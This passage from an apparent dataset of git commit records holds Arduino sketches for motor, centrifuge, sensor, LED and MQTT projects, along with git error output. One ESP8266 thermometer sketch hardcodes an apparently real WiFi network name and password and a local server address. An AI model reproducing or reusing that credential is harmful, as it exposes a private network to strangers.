state of the button on begin() is assumed to be the defaultState\n bool currentState;\n unsigned long lastTimePressed;\n public:\n \/\/ combination of Button(byte) and Button(byte, bool) and Button(byte, bool, int) constructors via default args\n Button(const uint8_t pin, const bool isToggleButton=false, uint16_t debounceDelay=500)\n : pin(pin), isToggleButton(isToggleButton) \/\/ const variables can only be assigned through initialization lists\n \/\/ (since they're supposed to be read-only)\n {\n this->debounceDelay = debounceDelay;\n lastTimePressed = 0;\n }\n void setDebounceDelay(int debounceDelay)\n {\n this->debounceDelay = debounceDelay;\n }\n \n bool pressed()\n {\n currentState = digitalRead(pin);\n if(currentState == !defaultState && (millis() - lastTimePressed > debounceDelay || isToggleButton == true))\n {\n lastTimePressed = millis();\n return true;\n }\n else\n return false;\n }\n void toggleWhenPressed(bool& condition)\n {\n if(isToggleButton)\n condition = digitalRead(pin);\n else if(pressed())\n condition = !condition;\n }\n bool held()\n {\n return digitalRead(pin) == !defaultState;\n \/\/ same behavior as pressed() for toggle buttons\n }\n\n \/\/*** separated from constructor bc these functions need to be called in setup(), and object needs global scope\n virtual void begin()\n {\n pinMode(pin, INPUT);\n defaultState = digitalRead(pin);\n currentState = digitalRead(pin);\n }\n};\n\nclass LEDButton : public Button\n{\n private:\n const uint8_t ledOutPin;\n \n bool ledState;\n public:\n \/\/ call Button(int, int) constructor using constructor initialization list, setting inherited member data for you\n LEDButton(const uint8_t pin, const uint8_t ledOutPin, uint16_t debounceDelay=500) : Button(pin, false, debounceDelay), ledOutPin(ledOutPin)\n {\n \/\/LED off by default\n ledState = LOW;\n }\n \n void ledOn()\n {\n ledState = HIGH;\n digitalWrite(ledOutPin, ledState);\n }\n void ledOff()\n {\n ledState = LOW;\n digitalWrite(ledOutPin, ledState);\n }\n void ledToggle()\n {\n ledState = !ledState;\n digitalWrite(ledOutPin, ledState);\n }\n\n void begin()\n {\n Button::begin(); \/\/ call base class version of begin()\n pinMode(ledOutPin, OUTPUT);\n digitalWrite(ledOutPin, ledState);\n }\n};\n\n\/*\nDremelfuge ETC Project 2015-2016\nAdapted from Orlov's Instructable on Arduino Powered Centrifuge\n\nCompiled and Edited by: Albert Ju, Fu Yang Chin\n*\/\n\n#include <LiquidCrystal.h> \/\/ include the library code for display\n\n\/\/---GLOBAL VARIABLES--\/\/\n\/\/*** these variables MUST be global because they're being used by multiple totally separate functions--static local won't do\nLiquidCrystal lcd = LiquidCrystal(12, 11, 5, 4, 3, 6); \/\/ initialize the library with the numbers of the interface pins\n\n\/\/ White Pushbutton\nconst uint8_t WPB_IN_PIN = 2, WPB_LED_PIN = 13;\nconst unsigned int WPB_DEBOUNCE_DELAY = 500;\nLEDButton wpb = LEDButton(WPB_IN_PIN, WPB_LED_PIN, WPB_DEBOUNCE_DELAY);\n\n\/\/ PWM (Pulse-Width Modulation) Motor Control and Potentiometer\nconst uint8_t MOTOR_PIN = 9;\nconst uint8_t POT_PIN = A5;\n\n\n\/\/*** No magic numbers! Using case statements, enum will provide readable, self-documenting code for when switching modes\nenum class Mode\n{\n SETTING_TIME,\n SETTING_SPEED,\n SPINNING\n};\nMode mode = Mode::SETTING_TIME; \/\/*** initialization over assignment; set SETTING_TIME to be the first mode!\n\n\/\/---Function prototypes---\/\/\ninline void lcdPrintFormattedSecs(unsigned long seconds);\n\nvoid setup()\n{ \n const uint8_t LCD_COLUMNS = 20, LCD_ROWS = 4;\n\n wpb.begin();\n wpb.ledOn();\n \n pinMode(MOTOR_PIN, OUTPUT);\n pinMode(POT_PIN, INPUT); \n\n lcd.begin(LCD_COLUMNS, LCD_ROWS);\n lcd.setCursor(0, 0);\n lcd.print(F(\" Dremel Centrifuge\")); \/\/*** Serial or derived functions will store their String arguments in RAM, which is wasteful; F() stores them in flash memory, where the sketch is stored (largest storage)\n lcd.setCursor(0, 2);\n lcd.print(F(\"Set speed:\"));\n lcd.setCursor(0, 3);\n lcd.print(F(\" Push to Start!\"));\n\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/*** static local variables--i.e. static variables inside of functions--are NOT STACK VARIABLES;\n \/\/ their values persist even after function ends, as long as the program is still running\n \/\/*** also, static local variables still only have local scope\n \/\/*** perform operations with data of the same type, so as to boost performance by not needing to typecast\n static unsigned long countdown; \/\/ the duration the centrifuge should run\n static unsigned long spinningStartTime; \/\/ point on the timeline where the countdown starts, i.e. when wpb is pressed the second time\n static uint8_t motorSpeed;\n\n switch(mode)\n {\n case Mode::SETTING_TIME:\n {\n countdown = map(analogRead(POT_PIN), 0, 1024, 0, 901);\n \n lcd.setCursor(0, 1);\n lcd.print(F(\"Set time: <\"));\n lcdPrintFormattedSecs(countdown);\n lcd.print(F(\"> \"));\n \n if(wpb.pressed())\n {\n \/\/ then implicitly set in stone the countdown value, change display, and enter next block\n \/\/*** because mode will change, countdown will no longer be updated by pot, so on case switch countdown will equal its final value, no further updating necessary\n\n \/\/ Erase <> selector braces\n lcd.setCursor(10, 1);\n lcdPrintFormattedSecs(countdown);\n lcd.print(F(\" \"));\n \n countdown*= (long)1000; \/\/*** to save space, the ATmega328P chip of UNO uses 2-byte ints, which can hold at max 32 767; operator*(int, int) will still return an int, but in this case an overflowed int;\n \/\/*** initSetTime, a long, will just be assigned the overflowed value--it won't force operator*(int, int) to return a long.\n \/\/*** so, by typecasting 1000 or using 1000L, you make the compiler promote analogRead() to a long, so operator*(long, long) will return the expected value, within range of sizeof long\n mode = Mode::SETTING_SPEED;\n }\n break;\n }\n \n \n case Mode::SETTING_SPEED:\n {\n motorSpeed = map(analogRead(POT_PIN), 0, 1024, 0, 255);\n \n lcd.setCursor(11, 2);\n lcd.print(F(\"<\"));\n \/\/map printing of motorSpeed to rpm range?!\n lcd.print(motorSpeed);\n lcd.print(F(\"> \"));\n \n if(wpb.pressed())\n {\n \/\/ then implicitly set in stone the motorSpeed value, change display, pre-start the countdown, and switch block\n\n \/\/ Erase <> selector braces\n lcd.setCursor(11, 2);\n lcd.print(motorSpeed);\n lcd.print(F(\" \"));\n \n spinningStartTime = millis();\n \n mode = Mode::SPINNING;\n }\n break;\n }\n \n \n case Mode::SPINNING:\n {\n unsigned long secondsLeft = (countdown - (millis() - spinningStartTime))\/1000; \/\/*** save RAM AND flash memory by only doing this calculation once per case in loop()\n analogWrite(MOTOR_PIN, motorSpeed);\n \n lcd.setCursor(0, 1);\n lcd.print(F(\"Finished in: \"));\n lcdPrintFormattedSecs(secondsLeft);\n lcd.print(F(\" \"));\n \n if(wpb.pressed() || secondsLeft == 0)\n {\n digitalWrite(MOTOR_PIN, LOW);\n mode = Mode::SETTING_TIME;\n }\n break;\n }\n } \n} \n\ninline void lcdPrintFormattedSecs(unsigned long seconds) \/\/*** inline = suggestion to the compiler to paste the raw code of this function wherever it's called == performance optimization, no hopping pointers to callers and callbacks\n{\n \/\/*** \n lcd.print(seconds\/60); lcd.print(F(\":\")); lcd.print((seconds%60 < 10 ? F(\"0\") : F(\"\"))); lcd.print(seconds%60);\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"92bbd76b4c1f51729c0cdb59b924df24485e9d30","subject":"First version. Testing motor control.","message":"First version. Testing motor control.\n","repos":"cazacov\/Arduino,cazacov\/Arduino","old_file":"Pianist\/Pianist.ino","new_file":"Pianist\/Pianist.ino","new_contents":"\/\/Arduino PWM Speed Contro\nshort E1 = 5; \nshort M1 = 4; \nshort E2 = 6; \nshort M2 = 7; \n\nshort ST = 2;\n\nsigned int motorSpeed = 0;\n\n#include <Wire.h>\n\nvoid setup()\n{\n Serial.begin(57600); \n Wire.begin();\n pinMode(M1, OUTPUT); \n pinMode(M2, OUTPUT); \n pinMode(E1, OUTPUT); \n pinMode(E2, OUTPUT); \n pinMode(ST, INPUT); \n}\n\nvoid loop()\n{\n Serial.println(\"Hallo Welt!.\");\n delay(3000);\n Serial.println(\"Calibrating...\");\n delay(3000);\n Calibrate();\n Serial.println(\"Done.\");\n while(true);\n}\n\nvoid Calibrate()\n{\n for (short i = 0; i < 3; i++)\n {\n Serial.println(\"Going left...\");\n if (digitalRead(ST) == HIGH)\n {\n SetMotorSpeed(-255);\n while(digitalRead(ST) == HIGH)\n {\n ;\n }\n SetMotorSpeed(0);\n }\n Serial.println(\"Going right...\"); \n SetMotorSpeed(200);\n while(digitalRead(ST) == LOW)\n {\n ;\n }\n }\n SetMotorSpeed(0);\n}\n \n \nvoid SetMotorSpeed(signed int motorSpeed)\n{\n if (motorSpeed < 0)\n {\n digitalWrite(M1, HIGH);\n }\n else\n {\n digitalWrite(M1, LOW);\n } \n \n int ms = abs(motorSpeed);\n if (ms > 255)\n {\n ms = 255;\n }\n analogWrite(E1, ms); \n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"535b369312dc7fe859f680c07908c86d449021e9","subject":"Added file","message":"Added file\n","repos":"nedwed123\/MafiaCarControl,nedwed123\/MafiaCarControl,nedwed123\/MafiaCarControl","old_file":"SteeringAcceleration.ino","new_file":"SteeringAcceleration.ino","new_contents":"\/*************************************************************\nMotor Shield 1-Channel DC Motor Demo\nby Randy Sarafan\n\nFor more information see:\nhttp:\/\/www.instructables.com\/id\/Arduino-Motor-Shield-Tutorial\/\n\n*************************************************************\/\n#include <Servo.h>\n\nServo VishalServo;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"SmartCar\");\n \/\/Setup Channel A\n pinMode(12, OUTPUT); \/\/Initiates Motor Channel A pin\n pinMode(9, OUTPUT); \/\/Initiates Brake Channel A pin \n \n \/\/Setup Channel B\n pinMode(13, OUTPUT); \/\/Initiates Motor Channel A pin\n pinMode(8, OUTPUT); \/\/Initiates Brake Channel A pin\n VishalServo.attach(10);\n \n \/\/This is for the led lamp\n \/\/pinMode(6, OUTPUT);\n \n \/\/VishalServo.writeMircoseconds(1500);\n Serial.println(\"Wait for 1 second\");\n delay(1000);\n Serial.println(\"1=Forward\");\n Serial.println(\"2=Backward\");\n Serial.println(\"3=ForwardLeft\");\n Serial.println(\"4=ForwardRight\");\n Serial.println(\"5=Break\");\n Serial.println(\"6=BackwardLeft\");\n Serial.println(\"7=BackwardRight\");\n Serial.println(\"8=360ClockSpinFlip\");\n Serial.println(\"9=REVERSED360ClockSpinFlip\");\n \n}\n\nvoid loop(){\n \n while(Serial.available()==0);\n int val = Serial.read()-'0';\n int i = VishalServo.read();\n \n \/\/backward @ full speed \n if(val==2){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n digitalWrite(12, HIGH); \/\/Establishes backward direction of Channel A\n digitalWrite(9, LOW); \/\/Disengage the Brake for Channel A\n analogWrite(3, 123); \/\/Spins the motor on Channel A at full speed\n \n digitalWrite(13, LOW); \/\/Establishes backward direction of Channel B\n digitalWrite(8, LOW); \/\/Disengage the Brake for Channel B\n analogWrite(11, 123); \/\/Spins the motor on Channel B at full speed\n \n delay(3000);\n }\n \n \/\/This is for the break\n if(val==5){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n delay(1000);\n }\n \n \/\/forward @ full speed \n if(val==1){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n digitalWrite(12, LOW); \/\/Establishes forward direction of Channel A\n digitalWrite(9, LOW); \/\/Disengage the Brake for Channel A\n analogWrite(3, 123); \/\/Spins the motor on Channel A at half speed\n \n digitalWrite(13, HIGH); \/\/Establishes forward direction of Channel B\n digitalWrite(8, LOW); \/\/Disengage the Brake for Channel B\n analogWrite(11, 123); \/\/Spins the motor on Channel B at half speed\n \n delay(3000);\n }\n \n \n \/\/This is for turning forward Left\n if(val==3){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n digitalWrite(12, LOW); \/\/Establishes Forward direction of Channel A\n digitalWrite(9, LOW); \/\/Disengage the Brake for Channel A\n analogWrite(3, 255); \/\/Spins the motor on Channel A at full speed\n \n }\n \/\/This is for turning forward right\n \n if(val==4){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n digitalWrite(13, HIGH); \/\/Establishes Forward direction of Channel B\n digitalWrite(8, LOW); \/\/Disengage the Brake for Channel B\n analogWrite(11, 255); \/\/Spins the motor on Channel B at full speed\n }\n \n \/\/This is for turning backward Left\n if(val==6){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n digitalWrite(12, HIGH); \/\/Establishes Backward direction of Channel A\n digitalWrite(9, LOW); \/\/Disengage the Brake for Channel A\n analogWrite(3, 255); \/\/Spins the motor on Channel A at full speed\n }\n \/\/This is for turning backward Right\n if(val==7){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n digitalWrite(13, LOW); \/\/Establishes Backward direction of Channel A\n digitalWrite(8, LOW); \/\/Disengage the Brake for Channel A\n analogWrite(11, 255); \/\/Spins the motor on Channel A at full speed\n }\n \/\/clockSpin360flip\n if(val==8){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n digitalWrite(13, HIGH); \/\/Establishes Forward direction of Channel b\n digitalWrite(8, LOW); \/\/Disengage the Brake for Channel b\n analogWrite(11, 255); \/\/Spins the motor on Channel b at full speed\n \n digitalWrite(12, HIGH); \/\/Establishes backward direction of Channel A\n digitalWrite(9, LOW); \/\/Disengage the Brake for Channel A\n analogWrite(3, 255); \/\/Spins the motor on Channel A at full speed\n \n}\n \/\/ANTICLOCKSPIN360fli\n if(val==9){\n digitalWrite(9, HIGH); \/\/Eengage the Brake for Channel A\n digitalWrite(8, HIGH); \/\/Eengage the Brake for Channel B\n \n digitalWrite(13, LOW); \/\/Establishes Backward direction of Channel b\n digitalWrite(8, LOW); \/\/Disengage the Brake for Channel b\n analogWrite(11, 255); \/\/Spins the motor on Channel b at full speed\n \n digitalWrite(12, LOW); \/\/Establishes Forward direction of Channel A\n digitalWrite(9, LOW); \/\/Disengage the Brake for Channel A\n analogWrite(3, 255); \/\/Spins the motor on Channel A at full speed\n \n}\n\n}\nArduino Motor Shield Tutorial\nwww.instructables.com\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SteeringAcceleration.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"73e1a75b64d29a0370798d925eab9ff6569158e8","subject":"Added Gsr Script","message":"Added Gsr Script\n","repos":"porkmarks\/mthesis","old_file":"GSR_Script\/GSR_Script.ino","new_file":"GSR_Script\/GSR_Script.ino","new_contents":"#include <eHealth.h>\n\nextern volatile unsigned long timer0_overflow_count;\nfloat fanalog0;\nint analog0;\nunsigned long time;\nbyte serialByte;\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n while(1)\n { \n fanalog0=eHealth.getSkinConductance(); \n Serial.println(fanalog0,5);\n delay(20);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GSR_Script\/GSR_Script.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f6745f90008c0d409a2c9aceca40765288da2e9e","subject":"hmm, let's see if we can work with interrupts \u2026 no!","message":"hmm, let's see if we can work with interrupts \u2026 no!\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"fd9c6a2c316c829b14fb956f2a82da84736f77ac","subject":"Skeleton code for smart meter tap (untested)","message":"Skeleton code for smart meter tap (untested)\n","repos":"ttencate\/prikmeter,ttencate\/prikmeter,ttencate\/prikmeter,ttencate\/prikmeter,ttencate\/prikmeter,ttencate\/prikmeter","old_file":"smartmetertap\/smartmetertap.ino","new_file":"smartmetertap\/smartmetertap.ino","new_contents":"#include <Arduino.h>\n#include <SoftwareSerial.h>\n\n#define SERIAL_RX_PIN D5\n#define BUFFER_SIZE_BYTES 64\n\nSoftwareSerial p1(SERIAL_RX_PIN, -1, true, BUFFER_SIZE_BYTES);\n\nvoid setup() {\n p1.begin(115200);\n\n Serial.begin(115200);\n Serial.println(\"Up and running\");\n}\n\nvoid loop() {\n if (p1.available()) {\n int byte = p1.read();\n Serial.write(byte);\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"532c375a49173347e61c2397c477c553b6cc2a51","subject":"Use a define instead of an in-function int.","message":"Use a define instead of an in-function int.\n","repos":"kdomen\/Morse-Code","old_file":"Morse-Code\/morse-code.ino","new_file":"Morse-Code\/morse-code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8294d4fe57c08e0f3964bb77032527c74777ca60","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/06.Sensors\/ADXL3xx\/ADXL3xx.ino","new_file":"build\/shared\/examples\/06.Sensors\/ADXL3xx\/ADXL3xx.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 8294d4fe57c08e0f3964bb77032527c74777ca60\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"3939e1b4e0447122ce859aba95d961e1fb411cfa","subject":"Added simple example.\ufeff","message":"Added simple example.\ufeff\n","repos":"Chris--A\/EEWrap","old_file":"examples\/basic_test\/basic_test.ino","new_file":"examples\/basic_test\/basic_test.ino","new_contents":"\n#include <EEPROM.h>\n#include <EEWrap.h>\n\n\/\/Use the xxx_e types rather than the standard types like uint8_t\nstruct Foo{\n uint8_e a;\n int16_e b;\n float_e c;\n};\n\nFoo foo EEMEM; \/\/EEMEM tells the compiler that the object resides in the EEPROM\n\nvoid setup(){\n\n \/\/Write to values stored in EEPROM\n foo.a = 45;\n foo.b = 12345;\n foo.c = 3.1415;\n\n \/\/Print values from EEPROM\n Serial.begin(9600);\n Serial.println(foo.a);\n Serial.println(foo.b);\n Serial.println(foo.c);\n}\n\nvoid loop() {}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/basic_test\/basic_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9c6604e9a69bd4447c32810890a44bc0a21d4300","subject":"add a dot down script","message":"add a dot down script\n","repos":"sato-makoto\/adafrute_8x8","old_file":"a_dot_down\/a_dot_down.ino","new_file":"a_dot_down\/a_dot_down.ino","new_contents":"\/*\nfrom Adafrute I2C LED matrix8x8 example.\nhttps:\/\/github.com\/adafruit\/Adafruit-LED-Backpack-Library\n*\/\n\n\/*\nOne LED light moves through (1,1) to (8,8),\n*\/\n\n#include <Wire.h>\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n\nAdafruit_8x8matrix matrix = Adafruit_8x8matrix ();\n\nvoid setup ()\n{\n matrix.begin (0x70);\n matrix.clear();\n matrix.writeDisplay();\n\n}\n\n int col_row ;\n static const int lightdot = 128;\n \/\/ 128 == B100000000\n static const int none = 0;\n static const uint8_t PROGMEM\n mymap[] = {lightdot, none, none, none,\n none, none, none, none };\n\n\nvoid loop()\n{\n for(col_row = 0; col_row < 8; col_row++)\n {\n matrix.drawBitmap(col_row, col_row, mymap, \n col_row+1, col_row+1, LED_ON);\n matrix.writeDisplay();\n delay(500);\n matrix.clear();\n matrix.writeDisplay();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'a_dot_down\/a_dot_down.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1cd1d64e34e267dbcb33d6910f636e12fc77e0c1","subject":"Rename Example","message":"Rename Example\n","repos":"iotl\/IoT-Shield-Firmware","old_file":"examples\/01.Digital\/ButtonLed\/ButtonLed.ino","new_file":"examples\/01.Digital\/ButtonLed\/ButtonLed.ino","new_contents":"#include <ParkingShield.h>\n\nParkingShield shield;\n\nvoid setup()\n{\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/ Enables LEDs by Boolean expressions\n shield.setLed(ParkingShield::GREEN_LED, shield.buttonS1Pressed() && !shield.buttonS2Pressed());\n shield.setLed(ParkingShield::YELLOW_LED, !shield.buttonS1Pressed() && shield.buttonS2Pressed());\n shield.setLed(ParkingShield::RED_LED, shield.buttonS1Pressed() && shield.buttonS2Pressed());\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/01.Digital\/ButtonLed\/ButtonLed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"961970fa54eae54292b671b8d096baaa6cdd806b","subject":"initial push of ECS control sketch","message":"initial push of ECS control sketch\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/ECS_therm\/ECS_therm.ino","new_file":"examples\/ECS_therm\/ECS_therm.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <PubSubClient.h>\n\n\/\/Constants\n#define SENSOR_ID \"ECS\"\n#define PROBE_TEMPO 60000\n#define ONE_WIRE_BUS D4 \/\/ DS18B20 pin\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature DS18B20(&oneWire);\n\nfloat oldTemp;\n\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"SFR_34A8\"\n#define WLAN_PASS \"ab4ingrograstanstorc\"\n\n\n\/************************* MQTT *********************************\/\n\nconst char* mqtt_server = \"192.168.1.27\";\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient espClient;\n\/\/ or... use WiFiFlientSecure for SSL\n\/\/WiFiClientSecure client;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nPubSubClient client(espClient);\n\n\nlong lastMsg = 0;\nchar msg[50];\nint value = 0;\n\n\n\/****************************** Wifi connect function ***************************************\/\nvoid setup_wifi() {\n\n delay(10);\n \/\/ We start by connecting to a WiFi network\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n randomSeed(micros());\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n\n \/\/ Switch on the LED if an 1 was received as first character\n if ((char)payload[0] == '1') {\n Serial.println(\"Ping received\");\n String tmp_string = SENSOR_ID;\n tmp_string += \"says : I'm alive!!!!\";\n \n client.publish(\"connection_events\", tmp_string.c_str());\n \n } else {\n Serial.println(\"doing nothing\");\n \n }\n\n}\n\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Create a random client ID\n String clientId = SENSOR_ID;\n\n \/\/ Attempt to connect\n if (client.connect(clientId.c_str())) {\n Serial.println(\"connected\");\n \/\/ Once connected, publish an announcement...\n String connectMsg = \"New connection from \" + clientId;\n client.publish(\"connection_events\", connectMsg.c_str());\n \/\/ ... and resubscribe\n String tmp_string = \"ping\";\n tmp_string += clientId;\n \n client.subscribe(tmp_string.c_str());\n } \n else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\n\nvoid setup() {\n Serial.begin(115200);\n\n setup_wifi();\n client.setServer(mqtt_server, 1883);\n client.setCallback(callback);\n\n \n \n \n}\n\nvoid loop() {\n float temp;\n \n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n\n long now = millis(); \n\n if (now - lastMsg > PROBE_TEMPO) {\n lastMsg = now;\n \n \/\/Read data and store it to variables hum and temp\n DS18B20.requestTemperatures(); \n temp = DS18B20.getTempCByIndex(0);\n Serial.print(\"Temperature: \");\n Serial.println(temp);\n \n if (temp == 85.0 || temp == (-127.0)) {\n Serial.println(\"Failed to read from sensor!\");\n }\n else\n {\n \n\n \/\/send to MQTT server\n snprintf (msg, 75, \"%.1f\", temp);\n Serial.print(\"Publish message: \");\n Serial.println(msg);\n String outTopicPrefix = SENSOR_ID;\n String outTopicTemp = outTopicPrefix + \"\/temp\";\n client.publish(outTopicTemp.c_str(), msg);\n \n }\n }\n\n\n \n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ECS_therm\/ECS_therm.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"11d6340e82651c51009ceaf1d0a75590ded37a08","subject":"Add files via upload","message":"Add files via upload\n\narduino patch to trigger heatpad","repos":"invisibleFlock\/holdprototypes","old_file":"reimagining the mobile phone as a sensory device\/PhoneTRigger\/PhoneTRigger.ino","new_file":"reimagining the mobile phone as a sensory device\/PhoneTRigger\/PhoneTRigger.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/invisibleFlock\/holdprototypes.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8eba86855b92c2aa08f2daf4906252ffe4e19cfe","subject":"Adding the Arduino to cSound library","message":"Adding the Arduino to cSound library\n","repos":"juniorxsound\/cSound,juniorxsound\/cSound","old_file":"Arduino to cSound\/arduino_app\/arduino_app.ino","new_file":"Arduino to cSound\/arduino_app\/arduino_app.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'cSound\/arduino_app\/arduino_app.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1f545cbccd2cdb8ba0b92313efe2b9c748fe2549","subject":"Just comments","message":"Just comments\n\nCommented program executor to know the sequence of actions\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/ProgramExecutor.ino","new_file":"LaundryMachine\/ProgramExecutor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cd7885f09bc7659044d8c9d41f1a97544de9ebf0","subject":"arduino code","message":"arduino code\n","repos":"Sedatb23\/SocialRobot,Sedatb23\/SocialRobot,Sedatb23\/SocialRobot","old_file":"arduino\/script\/script.ino","new_file":"arduino\/script\/script.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Sedatb23\/SocialRobot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"628e35cb83d0dcafa6db3b356895a06a1c5c38b2","subject":"Create sensor_system.ino","message":"Create sensor_system.ino","repos":"jleung51\/BIRD","old_file":"arduino\/sensor_system.ino","new_file":"arduino\/sensor_system.ino","new_contents":"\/*\n *\n * Authors: Jeffrey Leung, Charles Li, Mina Li, Paul Pinto\n * Last edited: 2016-03-19\n *\n * This Arduino sketch detects the activation of pressure pads by the presence\n * of an item and sends the result using Bluetooth communication to the\n * car system.\n *\n *\/\n\n#include <SoftwareSerial.h>\n\nconst unsigned int pinPressureEssential = A0;\nconst unsigned int pinPressureGeneral = A1;\nconst unsigned int pinCapacitive = A2;\n\nconst unsigned int pinPressureEssentialPower = 7;\nconst unsigned int pinPressureGeneralPower = 6;\nconst unsigned int pinCapacitivePower = 5;\n\nconst unsigned int pinPowerLED = 13;\nconst unsigned int pinEssentialLED = 12;\nconst unsigned int pinGeneralLED = 